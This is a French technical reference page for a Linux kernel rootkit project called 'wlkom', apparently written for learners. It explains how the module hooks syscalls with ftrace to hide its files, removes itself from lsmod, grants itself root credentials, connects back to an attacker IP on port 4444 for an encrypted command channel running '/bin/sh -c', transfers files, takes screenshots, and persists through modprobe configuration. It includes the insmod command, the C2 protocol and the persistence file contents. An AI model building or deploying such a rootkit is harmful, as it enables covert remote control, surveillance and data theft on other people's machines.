Aller au contenu principal

Références techniques

Cette page est la page de référence du projet. Son but est simple: quand on lit le code ou une autre page et qu'un mot kernel bloque, on revient ici.

Le niveau attendu est: vous savez lire du C, vous connaissez les pointeurs, les buffers, les erreurs négatives et les appels de fonctions. Par contre, on ne suppose pas que vous avez déjà travaillé dans le noyau Linux.

Carte rapide

Le module est donc au milieu de plusieurs mondes:

  • Il intercepte des appels venant de userland.
  • Il lance parfois des commandes userland.
  • Il parle au backend avec une socket kernel.
  • Il modifie sa visibilité dans certaines structures du noyau.

Inventaire des notions kernel utilisées

Cette table sert de sommaire de survie. Si un mot apparaît dans le code et qu'il ne ressemble pas au C habituel vu en cours, il est probablement ici.

Notion ou APIOù dans le codeÀ quoi ça sert dans le projetExplication localeRéférence externe
module_init, module_exit, MODULE_*src/core/main.cDéclarer le point d'entrée, la sortie et les métadonnées du module.Module kernelExternal Modules
module_param_namedsrc/core/module_parameters.cLire attacker_ip, command_port et password au insmod.Paramètres de moduleExternal Modules
Kbuild et vermagicrootkit/Makefile, script victimeCompiler un .ko compatible avec le noyau chargé.Kbuild et vermagicKbuild
Symboles __x64_sys_*src/hooks/ftrace_hooks.cCibler les vraies fonctions de syscalls x86_64.Syscallssyscalls(2)
asmlinkage et pt_regsinclude/wlkom_hooks.h, hooksLire les arguments dans les registres CPU.pt_regsUsing ftrace
ftrace_ops, FTRACE_OPS_FL_*, notracesrc/hooks/ftrace_hooks.cRediriger l'exécution vers les hooks.ftraceUsing ftrace
container_of, within_module, THIS_MODULEsrc/hooks/ftrace_hooks.cRetrouver la structure du hook et éviter la récursion.Macros kernel utiles dans les hooksKernel API
register_kprobe, kallsyms_lookup_namesrc/core/symbols.cRetrouver des adresses kernel au runtime.Kprobes et symbolesKprobes
copy_from_user, copy_to_user, clear_userhooks de lecture/listingCopier proprement entre userland et kernel.Mémoire userland et uaccessKernel API
getdents, linux_dirent, d_reclensrc/hooks/dirent_*Retirer des entrées de listings.getdents, linux_dirent et d_reclengetdents(2)
fdget, fdput, struct file, d_pathhooks read/access/namesPasser d'un fd à un vrai fichier kernel puis à un chemin texte.fdget, struct file et d_pathVFS
user_path_at, path_put, AT_FDCWD, LOOKUP_FOLLOWsrc/hooks/access_hooks.cRésoudre des chemins, suivre les symlinks, gérer les chemins relatifs.Résolution de chemins kernelVFS
kernel_read, filp_open, filp_close, loff_tread filter et file readerLire des fichiers depuis le noyau.Lecture de fichiers depuis le noyauFilesystems API
iovec et readvsrc/hooks/read_filter.cCopier une réponse dans plusieurs buffers userland.readv et iovecreadv(2)
MAP_ANONYMOUS et mmapsrc/hooks/read_filter.cBloquer le mapping des fichiers protégés.mmapmmap(2)
atomic_tsrc/hooks/access_hooks.cActiver un bypass interne sans booléen global fragile.Bypass interneKernel API
list_del_init, THIS_MODULE->listsrc/core/main.cRetirer le module de la liste vue par lsmod.Masquage du moduleKernel API
kthread_run, kthread_should_stop, kthread_stop, ssleepsrc/network/connection.cGarder le C2 dans un thread noyau séparé et l'arrêter proprement.KthreadsDriver basics
prepare_kernel_cred, commit_credssrc/network/connection.cDonner un contexte privilégié au thread réseau.Credentials kernelCredentials
sock_create_kern, kernel_connect, kernel_sendmsg, kernel_recvmsg, kernel_sock_shutdownsrc/network/*Faire une connexion TCP depuis le noyau et débloquer la réception à l'arrêt.Sockets kernelNetworking kAPI
kvec, msghdrsrc/network/socket_io.cDécrire les buffers envoyés/reçus par la socket kernel.kvec, msghdr et envoi partielNetworking kAPI
call_usermodehelper, UMH_WAIT_PROCsrc/userland/helper_runner.cLancer /bin/sh -c depuis le module.call_usermodehelperkmod.h
kmalloc, kzalloc, kvzalloc, vzalloc, GFP_KERNELpresque tous les fichiersAllouer de la mémoire côté noyau.Allocations mémoire kernelMemory Allocation Guide
IS_ERR, PTR_ERR, erreurs négativesplusieurs fichiersTransporter une erreur dans un pointeur ou un retour négatif.Pointeurs d'erreur et codes LinuxKernel API
pr_info, pr_err, pr_debugplusieurs fichiersÉcrire dans les logs kernel visibles avec dmesg.Logs kernelCore API
strnstr, min_t, ARRAY_SIZEhooks et filtresUtilitaires C kernel plus sûrs ou plus adaptés aux macros.Petites macros utilesKernel API

Les références externes sont là pour vérifier la source officielle ou aller plus loin. Pour comprendre le projet, la lecture locale doit suffire.

Module kernel

Un module kernel est un fichier .ko chargé dynamiquement dans le noyau. Il n'est pas un programme classique. Il partage l'espace mémoire du noyau, donc une mauvaise écriture peut planter la VM entière.

Dans le projet:

module_init -> wlkom_start_module
module_exit -> wlkom_stop_module

wlkom_start_module() fait:

  1. Vérifie que password est présent.
  2. Dérive la clé XOR depuis ce mot de passe.
  3. Installe les hooks ftrace.
  4. Crée /opt/wlkom_data.
  5. Démarre le thread réseau.
  6. Retire le module de la liste utilisée par lsmod.

wlkom_stop_module() arrête le thread réseau, puis retire les hooks. En pratique, comme le module se masque, le retrait manuel est moins confortable qu'un module normal.

Les macros MODULE_LICENSE, MODULE_AUTHOR, MODULE_DESCRIPTION et MODULE_VERSION ne font pas tourner le rootkit directement. Elles ajoutent des métadonnées dans le .ko. MODULE_LICENSE("GPL") est important côté kernel: certains symboles ne sont accessibles qu'aux modules déclarés compatibles GPL.

Références:

Paramètres de module

Les paramètres sont déclarés avec module_param_named.

ParamètreDéfautPermissionRôle
attacker_ip192.168.100.10444IP que le module contacte.
command_port44440444Port TCP du listener.
passwordaucun0000Secret obligatoire, utilisé pour l'auth et la crypto.

Permission 0000 pour password signifie: le paramètre existe, mais il n'est pas exposé en lecture simple dans /sys/module/wlkom/parameters/.

0444 signifie lecture seule pour tous dans sysfs. Ce n'est pas une permission C, c'est le même style de permissions octales que chmod. Donc attacker_ip et command_port peuvent être lus dans /sys/module/.../parameters/, tandis que password est volontairement moins visible.

Chargement type:

sudo insmod wlkom.ko attacker_ip=192.168.100.1 command_port=4444 password='secret'

Sans mot de passe, le module retourne -EINVAL et refuse de démarrer.

Kbuild et vermagic

Le module est compilé comme module externe avec Kbuild:

obj-m += wlkom.o
make -C /lib/modules/$(uname -r)/build M=$(CURDIR) modules

Le .ko contient une chaîne appelée vermagic. Elle encode notamment la version du noyau et certaines options de build.

Pourquoi c'est important? La victime charge un module compilé côté attaquant. Si l'attaquant n'est pas sur le même noyau, la victime peut répondre:

invalid module format

Vérification:

uname -r
modinfo -F vermagic wlkom.ko

Dans ce projet, les deux doivent commencer par:

5.15.0-171-generic

Référence:

Syscalls

Un syscall est la porte officielle entre un programme userland et le noyau.

Exemples:

cat fichier -> read()
ls dossier -> getdents64()
stat fichier -> statx() ou newfstatat()
open fichier -> openat()

wlkom intercepte des syscalls parce que beaucoup d'outils différents finissent par passer par les mêmes portes. Au lieu de modifier ls, cat, find, stat et les explorateurs un par un, le module agit plus bas.

Syscalls hookés:

Syscall kernelRôle dans le projet
__x64_sys_getdents64Filtrer les listings modernes.
__x64_sys_getdentsFiltrer l'ancien format de listings.
__x64_sys_readFiltrer les lectures simples de persistance.
__x64_sys_pread64Filtrer les lectures avec offset explicite.
__x64_sys_readvFiltrer les lectures dans plusieurs buffers.
__x64_sys_mmapRefuser le mapping direct de fichiers de persistance.
__x64_sys_openatBloquer l'ouverture de chemins protégés.
__x64_sys_openat2Bloquer la variante moderne de openat.
__x64_sys_newfstatatBloquer la lecture de métadonnées.
__x64_sys_statxBloquer la lecture moderne de métadonnées.
__x64_sys_accessBloquer les tests d'accès.
__x64_sys_faccessatBloquer les tests d'accès avec dirfd.
__x64_sys_readlinkatBloquer les symlinks vers zones protégées.
__x64_sys_unlinkatBloquer la suppression directe.

Références:

pt_regs

Les hooks ne reçoivent pas les arguments C classiques. Ils reçoivent un struct pt_regs, qui contient les registres CPU au moment de l'appel.

Sur x86_64:

RegistreSens général
diPremier argument.
siDeuxième argument.
dxTroisième argument.
r10Quatrième argument pour les syscalls.
r8Cinquième argument.
ipInstruction Pointer, adresse de la prochaine instruction.

Exemple:

read(fd, buf, count)
fd -> registers->di
buf -> registers->si
count -> registers->dx

Le hook ftrace modifie aussi registers->ip pour rediriger l'exécution vers une fonction WLKOM.

À retenir: ce code dépend de l'ABI x86_64. Ce n'est pas portable tel quel sur ARM ou une autre architecture.

asmlinkage apparaît dans les prototypes des hooks. Dans un programme C normal, on ne le voit presque jamais. Dans le noyau, il sert à annoncer une convention d'appel particulière pour les fonctions liées aux syscalls. Ici, les hooks gardent la même forme que les fonctions ciblées: ils reçoivent un pt_regs, puis récupèrent eux-mêmes les arguments dans les registres.

Pourquoi ne pas faire un prototype plus confortable?

long hook_openat(int dfd, const char __user *filename, int flags, umode_t mode);

Parce que le hook est branché au niveau de la fonction kernel réelle. ftrace arrive avec l'état CPU, pas avec une jolie fonction C reconstruite pour nous. Le code doit donc respecter la forme attendue par le noyau.

ftrace

ftrace est une infrastructure de tracing du noyau. Elle sert normalement à observer l'exécution de fonctions kernel. Avec certains flags, elle peut aussi rediriger l'exécution.

Dans le projet, une entrée de hook contient:

symbol_name
hook_function
original_function
symbol_address
ftrace_ops

Installation:

  1. Résoudre symbol_address.
  2. Stocker cette adresse dans wlkom_original_*.
  3. Configurer ftrace_ops.func.
  4. Poser un filtre sur l'adresse avec ftrace_set_filter_ip.
  5. Enregistrer avec register_ftrace_function.

Flags:

FlagRôle
FTRACE_OPS_FL_SAVE_REGSDonne accès à pt_regs.
FTRACE_OPS_FL_IPMODIFYAutorise la modification de ip.
FTRACE_OPS_FL_RECURSION_SAFEIndique que le hook gère la récursion.

Le thunk fait:

registers->ip = hook_function

Mais seulement si parent_ip ne vient pas déjà du module. Cette protection évite une boucle de hooks internes.

notrace est ajouté sur le thunk wlkom_ftrace_inter_func. Cela demande à ftrace de ne pas tracer cette fonction elle-même. Sans cette précaution, on risque de tracer le code qui sert justement à tracer, ce qui complique la récursion et peut finir très mal.

Références:

Macros kernel utiles dans les hooks

Quelques macros du code sont très kernel dans leur style.

Macro ou fonctionExplication simple
container_of(ptr, type, member)thunk ftraceÀ partir de l'adresse d'un champ, retrouver l'adresse de la structure complète qui contient ce champ. Ici, on reçoit ops, puis on retrouve le struct wlkom_ftrace_hook autour.
within_module(addr, THIS_MODULE)thunk ftraceVérifie si une adresse appartient au code du module courant. Le projet l'utilise pour ne pas rediriger ses propres appels internes.
THIS_MODULEhooks et masquagePointeur kernel vers le module actuellement chargé, donc wlkom.ko pendant son exécution.
ARRAY_SIZE(tableau)installation/retrait hooksCalcule le nombre d'éléments d'un tableau C connu à la compilation. Plus sûr qu'un nombre écrit à la main.
min_t(type, a, b)filtres de lecturePrend le minimum en forçant le type. Utile dans le noyau parce que les tailles mélangent souvent size_t, ssize_t, loff_t, etc.

Le plus étrange est souvent container_of. Exemple simplifié:

struct wlkom_ftrace_hook
├── symbol_name
├── hook_function
└── ops <--- ftrace nous donne l'adresse de ce champ

Avec seulement &ops, le module retrouve le début de la structure complète. C'est une technique très fréquente dans le noyau Linux, parce que beaucoup de sous-systèmes reçoivent un pointeur vers une petite structure embarquée dans une structure plus grande.

Kprobes et symboles

Un kprobe permet d'instrumenter une fonction kernel. Ici, il est surtout utilisé pour retrouver une adresse.

Le code essaye:

register_kprobe("kallsyms_lookup_name")
probe.addr -> adresse de kallsyms_lookup_name
unregister_kprobe()

Ensuite, kallsyms_lookup_name cherche les symboles __x64_sys_*.

Si ça ne marche pas, le code tente un kprobe directement sur le symbole demandé.

Important: le kprobe n'est pas gardé pour hooker les syscalls. Il sert à résoudre les adresses. Les hooks runtime sont faits par ftrace.

Référence:

Mémoire userland et uaccess

Quand un syscall reçoit un pointeur, ce pointeur appartient souvent au processus userland. Le noyau ne doit pas faire comme si c'était un pointeur kernel normal.

Mauvaise intuition:

/* Trop naïf dans le noyau */
buffer[0] = 'A';

Bonne approche:

copy_from_user -> importer depuis userland
copy_to_user -> renvoyer vers userland
clear_user -> nettoyer une zone userland

Dans le projet:

FonctionUsage
copy_from_userCopier les dirent userland vers un buffer kernel.
copy_to_userRenvoyer le buffer filtré.
clear_userEffacer la queue d'un buffer après suppression d'entrées.
strncpy_from_userCopier un chemin utilisateur dans un buffer kernel.

Pourquoi cette prudence? Une adresse userland peut être invalide, paginée, modifiée par le processus ou inaccessible au moment où le noyau la lit.

Le suffixe __user dans certains prototypes sert d'avertissement. Par exemple:

const char __user *filename

Ça veut dire: "ce pointeur pointe vers de la mémoire userland". Le compilateur C ne va pas tout sécuriser tout seul, mais les outils et les lecteurs du code comprennent qu'il faut passer par les fonctions uaccess.

Conséquence pratique: quand le hook reçoit un chemin avec registers->si, il ne peut pas juste faire strcmp((char *)registers->si, "/tmp"). Il doit d'abord copier ce chemin côté kernel avec strncpy_from_user.

Référence:

getdents, linux_dirent et d_reclen

getdents ne renvoie pas une liste de chaînes propre. Il renvoie un buffer de records.

Chaque record contient:

d_reclen -> taille du record
d_name -> nom du fichier/dossier

Pour avancer:

entrée_suivante = entrée_actuelle + d_reclen

Pour cacher une entrée qui n'est pas première, le filtre agrandit le record précédent:

previous->d_reclen += current->d_reclen

Pour cacher la première entrée, il n'y a pas de précédent. Le code décale donc le reste avec memmove.

Deux formats existent:

  • struct linux_dirent64 pour getdents64
  • struct wlkom_linux_dirent défini dans le projet pour l'ancien getdents.

fdget, struct file et d_path

Un file descriptor userland est juste un entier:

3
4
5

Dans le noyau, il faut retrouver le vrai objet fichier:

fdget(fd)
fd_file(...)
fdput(...)

struct file contient notamment f_path, qui décrit l'emplacement du fichier. Pour obtenir un chemin texte lisible, le code utilise d_path().

Exemple:

fd -> struct file -> f_path -> d_path() -> "/opt/wlkom_data/.cmd.out"

Le projet s'en sert pour savoir si un fd pointe vers:

  • le dossier caché /opt/wlkom_data
  • un fichier de persistance
  • un chemin à protéger.

fdget et fdput vont ensemble. fdget récupère une référence temporaire sur le fd courant. fdput rend cette référence. Oublier fdput, c'est garder une référence plus longtemps que prévu. Dans le noyau, ce genre de fuite finit vite en comportement bizarre.

d_path() écrit le chemin dans un buffer fourni par le module. Le code réserve souvent une page avec __get_free_page(GFP_KERNEL), puis libère avec free_page(). Une page fait généralement 4096 octets sur x86_64. C'est suffisant pour les chemins Linux classiques, et ça évite d'allouer un gros buffer permanent.

Références:

Résolution de chemins kernel

Les hooks par chemin ne se contentent pas du texte donné par le programme. Ils utilisent aussi la résolution VFS.

Les termes à connaître:

TermeSens
struct pathObjet kernel qui représente un chemin résolu. Il contient notamment un montage et un dentry.
user_path_at(dfd, filename, flags, &path)Résout un chemin userland en struct path.
path_put(&path)Rend la référence obtenue par user_path_at.
AT_FDCWDValeur spéciale qui signifie: utiliser le dossier courant du processus.
LOOKUP_FOLLOWDemande à suivre les liens symboliques pendant la résolution.

Pourquoi c'est nécessaire? Parce qu'un chemin peut mentir par simplification.

openat(fd_de_/opt/wlkom_data, ".cmd.out", O_RDONLY)

Le texte visible est seulement .cmd.out. Sans regarder dfd, le hook ne sait pas que le fichier est dans /opt/wlkom_data.

Autre exemple:

/tmp/lien -> /opt/wlkom_data/.cmd.out
cat /tmp/lien

Le chemin brut ne contient pas wlkom_data, mais le chemin résolu oui. C'est pour cela que le code teste aussi user_path_at(..., LOOKUP_FOLLOW, ...).

Hooks de lecture

Les hooks read, pread64 et readv construisent une vue filtrée du fichier.

Flux:

  1. Récupérer le fd avec fdget.
  2. Vérifier si le fichier est une cible de persistance.
  3. Si non, appeler le syscall original.
  4. Si oui, lire le fichier brut avec kernel_read.
  5. Retirer les lignes sensibles.
  6. Copier seulement la portion demandée vers userland.

Différences:

SyscallPosition de lecture
readUtilise et avance file->f_pos.
pread64Utilise un offset fourni, sans avancer file->f_pos.
readvCopie dans plusieurs buffers iovec, puis avance file->f_pos.

Le filtre lit au maximum 256 KiB, car les fichiers ciblés sont de petits fichiers de configuration.

Lecture de fichiers depuis le noyau

Le module lit parfois un fichier lui-même, sans passer par un processus userland.

Les API utilisées:

APIRôle
filp_open(path, flags, mode)Ouvre un fichier depuis le noyau et renvoie un struct file *.
IS_ERR(pointer)Vérifie si le pointeur contient une erreur au lieu d'une vraie adresse.
kernel_read(file, buffer, size, &pos)Lit des octets depuis un struct file.
filp_close(file, NULL)Ferme le fichier ouvert avec filp_open.
loff_tType utilisé pour les offsets de fichiers, plus large qu'un int.

Exemple logique:

file = filp_open("/opt/wlkom_data/.cmd.out")
kernel_read(file, buffer, taille, &position)
filp_close(file)

Ce n'est pas équivalent à fopen côté libc. On est déjà dans le noyau, donc on manipule directement les objets VFS.

readv et iovec

readv lit dans plusieurs buffers en un seul syscall. Userland donne un tableau de struct iovec.

Forme simplifiée:

iovec[0] -> buffer A, taille A
iovec[1] -> buffer B, taille B
iovec[2] -> buffer C, taille C

Le hook doit donc:

  1. Copier chaque iovec depuis userland avec copy_from_user.
  2. Calculer la taille totale demandée.
  3. Construire la vue filtrée du fichier.
  4. Copier le résultat morceau par morceau avec copy_to_user.

Le code limite le nombre d'entrées à WLKOM_READV_IOV_MAX, soit 1024. C'est une limite de prudence: un tableau iovec géant ferait perdre du temps au hook et compliquerait la gestion des erreurs partielles.

Référence:

mmap

mmap peut mapper un fichier directement en mémoire. Si on autorisait mmap sur /etc/modprobe.d/wlkom.conf, un programme pourrait lire la ligne brute sans appeler read.

Le hook mmap vérifie donc:

  • le mapping n'est pas MAP_ANONYMOUS
  • le fd est valide
  • le fd correspond à un fichier de persistance.

Si oui:

return -EACCES

MAP_ANONYMOUS est important: un mapping anonyme ne correspond pas à un fichier. Il sert par exemple à demander de la mémoire au système. Le hook ne le bloque pas, parce qu'il ne peut pas révéler un fichier de persistance.

Référence:

Hooks d'accès par chemin

Les hooks d'accès protègent les chemins connus du projet:

/opt/wlkom_data
/sys/module/wlkom
segment "wlkom_data"
/lib/modules/.../wlkom.ko

Le code vérifie trois angles:

  1. Le chemin brut donné par userland.
  2. Le dirfd, pour les chemins relatifs.
  3. Le chemin résolu, pour suivre les symlinks.

Pourquoi les trois? Exemple:

openat(fd_de_/opt/wlkom_data, ".cmd.out", O_RDONLY)

Le chemin brut est seulement .cmd.out. Sans vérifier le dirfd, le hook ne verrait pas que l'accès part d'un dossier protégé.

Si le chemin est protégé, le hook retourne -EACCES sans appeler le syscall original.

Bypass interne

Le module a parfois besoin de toucher ses propres fichiers. Exemple: lire .cmd.out après une commande shell.

Pour ne pas se bloquer lui-même, il utilise:

atomic_t wlkom_bypass_access

Autour de call_usermodehelper, le module fait:

atomic_inc(&wlkom_bypass_access)
call_usermodehelper(...)
atomic_dec(&wlkom_bypass_access)

Pendant ce temps, les hooks d'accès laissent passer les opérations internes.

atomic_t évite d'utiliser un simple int global. Le thread réseau, les hooks et les helpers peuvent se croiser. Une incrémentation atomique garantit que le compteur ne se retrouve pas dans un état incohérent si deux chemins d'exécution le touchent presque en même temps.

Masquage du module

Linux garde une liste des modules chargés. lsmod et /proc/modules s'appuient sur cette vue.

Le module retire son entrée:

list_del_init(&THIS_MODULE->list)

Effet: lsmod ne montre plus wlkom.

Limite: ce n'est pas un effacement complet. Les logs dmesg, sysfs, des références internes ou une inspection offline peuvent encore donner des indices.

THIS_MODULE désigne le module courant. THIS_MODULE->list est le maillon de la liste chaînée globale des modules. list_del_init() retire ce maillon et le réinitialise pour éviter qu'il pointe encore vers ses anciens voisins.

Pourquoi ça marche pour lsmod? Parce que lsmod lit /proc/modules, et cette vue est construite depuis les structures kernel des modules chargés. Si le module retire son maillon de cette liste, il disparaît de ce chemin de lecture classique.

Kthreads

module_init ne doit pas rester bloqué. Il doit initialiser et rendre la main.

Le réseau tourne donc dans un thread noyau:

kthread_run(wlkom_network_thread, NULL, "wlkom_network")

La boucle vérifie:

kthread_should_stop()

et l'arrêt utilise:

kernel_sock_shutdown(socket_active, SHUT_RDWR)
kthread_stop(network_task)

kthread_stop() pose la demande d'arrêt et attend que le thread termine. Il ne ferme pas automatiquement les ressources sur lesquelles ce thread dort. Le module garde donc une référence à la socket active et la ferme au niveau TCP avant l'attente. Sans cela, un kernel_recvmsg() bloqué en attente d'une ligne distante pourrait empêcher module_exit de finir.

ssleep(10) et ssleep(5) sont des pauses en secondes côté noyau. Elles évitent que le thread tourne en boucle serrée si le backend n'est pas joignable. Dans un module, une boucle sans pause peut consommer du CPU et rendre le comportement très visible.

Référence:

Credentials kernel

Dans le thread réseau:

prepare_kernel_cred(NULL)
commit_creds(root_credentials)

L'idée est de donner au thread un contexte privilégié pour ses opérations internes et pour les helpers lancés ensuite.

Ce n'est pas une API applicative normale. C'est une primitive kernel sensible, dépendante de la version, de la configuration et des politiques de sécurité.

Référence:

Sockets kernel

Le module ouvre une connexion TCP depuis le noyau:

sock_create_kern
kernel_connect
kernel_sendmsg
kernel_recvmsg
kernel_sock_shutdown
sock_release

La cible par défaut:

192.168.100.1:4444

Pourquoi une socket kernel? Le module doit initier la connexion sans processus userland dédié. Le backend, lui, écoute avec une socket Python classique.

Les petits détails réseau:

ÉlémentSens
init_netNamespace réseau initial du système. Le module ne crée pas de namespace séparé.
AF_INETFamille IPv4.
SOCK_STREAMSocket TCP orientée flux.
IPPROTO_TCPProtocole TCP.
htons(port)Convertit le port vers l'ordre d'octets réseau.
in_aton(ip)Convertit une IPv4 texte en entier réseau.
kernel_sock_shutdown(..., SHUT_RDWR)Coupe lecture et écriture de la socket active pour réveiller les opérations bloquées avant l'arrêt du thread.

Pourquoi htons? Les machines x86_64 stockent les entiers en little-endian, mais les protocoles réseau utilisent un ordre standard appelé network byte order. Sans conversion, le port peut être interprété à l'envers.

Référence:

kvec, msghdr et envoi partiel

Pour envoyer depuis le noyau, le code utilise:

struct kvec
struct msghdr
kernel_sendmsg

kvec ressemble à iovec, mais pour un buffer kernel. iovec décrit des buffers userland, kvec décrit des buffers déjà dans l'espace kernel.

kernel_sendmsg peut envoyer moins d'octets que demandé. Le module boucle donc jusqu'à ce que toute la réponse soit transmise.

La réception lit une ligne chiffrée octet par octet jusqu'à \n. Si la ligne dépasse WLKOM_RX_SIZE - 1, le reste est consommé et le module répond COMMAND TOO LONG. Avant chaque lecture, le code vérifie aussi kthread_should_stop(). À l'arrêt du module, le shutdown de socket fait revenir kernel_recvmsg(), puis cette vérification permet à la boucle de sortir.

Protocole C2

Le protocole est orienté texte, mais chiffré sur le fil.

Début de session:

KOZACITEAM
Password:
Authenticated.
wlkom>

Après authentification, chaque ligne est routée:

CommandeTraitement
exitFerme la session.
upload-begin <path>Crée le parent et tronque le fichier.
upload-append <base64> <path>Décode et ajoute un chunk.
download-chunk <offset> <length> <path>Lit une plage du fichier.
screenshotLance la capture écran.
autre texteExécute via /bin/sh -c.

Les réponses contiennent:

sortie
[exit:N]
__KOZACI_RESPONSE_END_8F8F6A0E6D4A41C2__

Le prompt suivant est envoyé séparément avant la prochaine commande.

call_usermodehelper

call_usermodehelper permet au noyau de lancer un programme userland.

Dans le projet:

/bin/sh -c "<commande>"
UMH_WAIT_PROC

UMH_WAIT_PROC signifie que le module attend la fin du processus.

Pourquoi déléguer à userland?

  • /bin/sh sait gérer pipes et redirections.
  • base64, dd et tar existent déjà.
  • Les captures écran dépendent de la session graphique, donc de userland.
  • Le code kernel reste plus court.

Référence:

argv et envp doivent être fournis explicitement. Le module ne bénéficie pas de l'environnement d'un terminal interactif. C'est pour cela que les commandes de screenshot reconstruisent un contexte graphique avec DISPLAY, WAYLAND_DISPLAY, XAUTHORITY et parfois DBUS_SESSION_BUS_ADDRESS.

Point important: call_usermodehelper lance un programme userland, mais il est demandé par le noyau. Donc les hooks d'accès du module peuvent voir les fichiers temporaires créés par cette commande. Le bypass atomique sert justement à éviter que le module bloque ses propres helpers.

Capture de commandes

Le module n'a pas un pipe direct comme subprocess en Python. Il écrit donc la sortie dans un fichier temporaire:

(<commande>) > /opt/wlkom_data/.cmd.out 2>&1; echo "[exit:$?]" >> /opt/wlkom_data/.cmd.out

Puis:

  1. kernel_read relit .cmd.out.
  2. Le dernier marqueur [exit:N] donne le code de sortie.
  3. Le marqueur est retiré de la sortie visible.
  4. .cmd.out est supprimé.

Le dernier marqueur est choisi parce qu'une commande utilisateur pourrait afficher elle-même [exit:.

Transferts chunkés

Le canal transporte des lignes texte. Les fichiers binaires passent donc par base64.

Upload:

upload-begin <path>
upload-append <base64> <path>

Download:

download-chunk <offset> <length> <path>

Limites principales:

ConstanteValeurRôle
WLKOM_RX_SIZE160 KiBTaille maximale d'une ligne reçue.
WLKOM_UPLOAD_BASE64_CHUNK_MAX120 KiBBase64 maximal par append.
WLKOM_USERMODE_SHELL_COMMAND_MAX128 KiBTaille maximale de la commande shell usermode.
WLKOM_TX_SIZE4 MiBBuffer de réponse kernel.
DOWNLOAD_CHUNK_BYTES côté backend256 KiBTaille demandée par chunk de download.

Le backend calcule la taille brute uploadable pour que la commande complète tienne dans ces limites.

Screenshot

La capture écran est déléguée à un script shell généré par le module.

Le script:

  1. Cherche une session graphique avec loginctl.
  2. Retrouve l'utilisateur, l'UID et le home.
  3. Essaie plusieurs variables DISPLAY, WAYLAND_DISPLAY et XAUTHORITY.
  4. Essaie gnome-screenshot, scrot, import, puis xwd + convert.
  5. Encode le PNG en base64.

Marqueurs:

__WLKOM_SCREEN_BEGIN__
__WLKOM_SCREEN_END__

Pourquoi c'est fragile? Une capture dépend de la session graphique, des permissions, de X11/Wayland et des outils installés. Le module est privilégié, mais il n'a pas automatiquement le bon contexte graphique.

FNV-1a et XOR

Le mot de passe est transformé en hash FNV-1a 64-bit:

hash = 0xcbf29ce484222325
pour chaque octet:
hash ^= octet
hash *= 0x100000001b3

Puis le hash remplit une clé de 16 octets:

key[i] = (hash >> ((i % 8) * 8)) & 0xff

Le chiffrement:

data[i] ^= key[(offset + i) % 16]

La même opération chiffre et déchiffre.

Deux offsets sont séparés:

  • émission module vers backend
  • réception module depuis backend.

Pourquoi? TCP est un flux. Les frontières des messages ne sont pas garanties.

Référence:

Allocations mémoire kernel

Dans le noyau, on n'utilise pas malloc.

APIUsage
kmallocPetit buffer non initialisé, physiquement contigu.
kzallocPetit buffer initialisé à zéro.
kfreeLibère kmalloc et kzalloc.
vzallocGros buffer virtuellement contigu.
vfreeLibère vzalloc.
__get_free_pagePage temporaire, par exemple pour d_path.
free_pageLibère une page obtenue avec __get_free_page.
kvzallocEssaie une allocation type kmalloc, puis peut basculer vers vmalloc. Le buffer est initialisé à zéro.
kvfreeLibère une allocation obtenue par la famille kv*.
GFP_KERNELMode d'allocation normal pour du code kernel qui a le droit de dormir.
__GFP_NOWARNDemande d'éviter les gros warnings kernel si l'allocation échoue.

Règle importante:

kmalloc/kzalloc -> kfree
vzalloc -> vfree
kvzalloc -> kvfree
__get_free_page -> free_page

Ne pas mélanger. Un pointeur alloué avec vzalloc ne se libère pas avec kfree.

Pourquoi vzalloc pour les gros buffers? Le noyau n'a pas besoin de trouver une grande zone physique contiguë. Pour le code C, le buffer reste utilisable comme un tableau.

Pourquoi GFP_KERNEL revient partout? C'est le mode courant pour une allocation faite dans un contexte où le noyau peut dormir. "Dormir" veut dire: le noyau peut mettre le thread en attente le temps de récupérer de la mémoire. Ce n'est pas autorisé dans tous les contextes kernel, mais les hooks du projet évitent les contextes d'interruption et utilisent surtout des chemins de syscalls.

Références:

Pointeurs d'erreur et codes Linux

Dans le noyau, certaines fonctions ne retournent pas seulement NULL en cas d'erreur. Elles peuvent retourner un pointeur spécial qui encode un code d'erreur.

Exemple du projet:

opened_file = filp_open(path, O_RDONLY, 0)
if (IS_ERR(opened_file))
...

IS_ERR(pointer) répond: "ce pointeur est-il en réalité une erreur?". PTR_ERR(pointer) récupère le code négatif contenu dedans.

Pourquoi ne pas juste utiliser NULL? Parce que NULL ne dit pas pourquoi ça a échoué. Un pointeur d'erreur peut transporter -ENOENT, -EACCES, -ENOMEM, etc.

Codes d'erreur Linux

Les fonctions kernel retournent souvent des erreurs négatives.

CodeSens dans le projet
-EINVALArgument invalide ou commande mal formée.
-ENOMEMAllocation impossible.
-ENOENTSymbole kernel introuvable.
-EPERMAuthentification refusée.
-EACCESAccès à un chemin protégé.
-EFAULTCopie userland impossible.
-EMSGSIZELigne entrante trop longue.
-EFBIGChunk upload base64 trop gros.
-E2BIGCommande shell usermode trop grosse.
-EOVERFLOWgetdents a produit plus que la taille attendue.

Le routeur transforme ensuite beaucoup d'erreurs en texte lisible avec [exit:1].

Logs kernel

Le module écrit des messages avec:

APINiveau
pr_infoInformation normale.
pr_errErreur.
pr_debugDebug, souvent silencieux selon la configuration.

Ces messages se lisent avec:

dmesg

ou:

journalctl -k

À retenir: même si le module se retire de la liste vue par lsmod, les logs kernel peuvent garder des traces de chargement, d'erreur de hook ou de connexion.

Petites macros utiles

Ces utilitaires apparaissent dans le code et sont faciles à sous-estimer:

APIPourquoi elle est utilisée
strnstr(text, pattern, len)Cherche une sous-chaîne dans une zone bornée. Utile quand on travaille sur des lignes qui ne sont pas forcément terminées par \0.
min_t(type, a, b)Calcule un minimum en imposant le type, ce qui évite des warnings ou conversions dangereuses.
ARRAY_SIZE(array)Donne le nombre d'éléments d'un tableau statique. Si on ajoute un hook, la boucle suit automatiquement.

Exemple concret: dans le filtre de lecture, une ligne est définie par deux pointeurs et une longueur. Elle n'est pas forcément une chaîne C indépendante. strnstr permet donc de chercher wlkom dans cette tranche sans lire après la fin de la ligne.

Persistance Linux

La persistance repose sur les mécanismes standards:

FichierRôle
/lib/modules/$(uname -r)/kernel/drivers/wlkom.koModule placé dans l'arbre du noyau courant.
/etc/modules-load.d/wlkom.confDemande le chargement de wlkom au boot.
/etc/modprobe.d/wlkom.confDonne attacker_ip, command_port et password.

Contenu logique:

/etc/modules-load.d/wlkom.conf:
wlkom

/etc/modprobe.d/wlkom.conf:
options wlkom attacker_ip=192.168.100.1 command_port=4444 password=<secret>

